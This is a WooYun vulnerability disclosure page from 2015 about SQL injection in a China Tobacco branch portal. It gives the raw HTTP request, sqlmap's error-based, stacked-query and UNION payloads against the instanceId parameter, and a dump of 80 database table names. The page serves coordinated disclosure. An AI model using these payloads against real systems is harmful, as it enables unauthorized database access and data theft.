当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161012

漏洞标题:中国烟草某分站存在SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-12-15 14:58

修复时间:2016-01-28 17:10

公开时间:2016-01-28 17:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-15: 细节已通知厂商并且等待厂商处理中
2015-12-18: 厂商已经确认,细节仅向厂商公开
2015-12-28: 细节向核心白帽子及相关领域专家公开
2016-01-07: 细节向普通白帽子公开
2016-01-17: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

详细说明:

POST /hbportal/show/morepicture.jsp HTTP/1.1
Content-Length: 105
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**
Cookie: JSESSIONID=45C6618B705755CA2E6F398F4D5E53EF; JSESSIONID=B78004F9A4C291FCA0F5001FC85E9905
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
subpic=&formid=&instanceId=O&pageCount=0&pageId=1&titlename=

666.jpg


漏洞证明:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: instanceId (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: subpic=&formid=&instanceId=O' AND 5105=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5105=5105) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113))) AND 'qeMM'='qeMM&pageCount=0&pageId=1&titlename=
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: subpic=&formid=&instanceId=O';WAITFOR DELAY '0:0:5'--&pageCount=0&pageId=1&titlename=
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: subpic=&formid=&instanceId=O' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(118)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(89)+CHAR(111)+CHAR(68)+CHAR(90)+CHAR(85)+CHAR(87)+CHAR(89)+CHAR(111)+CHAR(89)+CHAR(109)+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113),NULL,NULL-- &pageCount=0&pageId=1&titlename=
---
back-end DBMS: Microsoft SQL Server 2000
Database: hbportal
[80 tables]
+-------------------------------+
| ID_TABLE |
| NP_FLOWFILE |
| dtproperties |
| guestbook_tab |
| guestreply_tab |
| np_address_kind |
| np_address_person |
| np_alias_entity |
| np_alias_entity |
| np_app_navigation |
| np_calendar_complete |
| np_cedict |
| np_cms_advice |
| np_cms_data |
| np_cms_field |
| np_cms_form |
| np_cms_instance |
| np_cms_permission |
| np_cms_show_entity |
| np_cms_showmain |
| np_cms_step |
| np_cms_template |
| np_cms_user |
| np_cms_workflow |
| np_currtable_field |
| np_currtable_select |
| np_currtable_table |
| np_desktop_user |
| np_desktop_user |
| np_doc_dreviary_manager |
| np_docdepart |
| np_docfile |
| np_docpolicy |
| np_doctree |
| np_ect_event |
| np_faq_question |
| np_faq_replay |
| np_faq_type_security |
| np_faq_type_security |
| np_group_admin |
| np_group_admin |
| np_group_home |
| np_group_ico |
| np_group_role |
| np_magazine_approve |
| np_magazine_approve |
| np_magazine_article_united |
| np_magazine_article_united |
| np_magazine_article_user |
| np_magazine_manager |
| np_magazine_type_subscription |
| np_magazine_type_subscription |
| np_magazinetype_approve |
| np_magazinetype_unit |
| np_module_event |
| np_module_event |
| np_oftenusesentence |
| np_permission |
| np_personal_calendar |
| np_personalcalendar |
| np_phone_bm |
| np_phone_bm |
| np_popfile |
| np_role_permission |
| np_role_permission |
| np_ums_limit |
| np_user_ext |
| np_user_ext |
| np_user_group |
| np_user_role |
| np_vt_voteanswer |
| np_vt_voteanswer |
| np_wlk_wwwlinkitem |
| np_wlk_wwwlinkitem |
| sendedmessage |
| sysconstraints |
| syssegments |
| v_all_message |
| v_all_unit |
| vnp_ums_user |
+-------------------------------+

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-18 18:08

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给河北分中心,由其后续协调网站管理单位处置.

最新状态:

暂无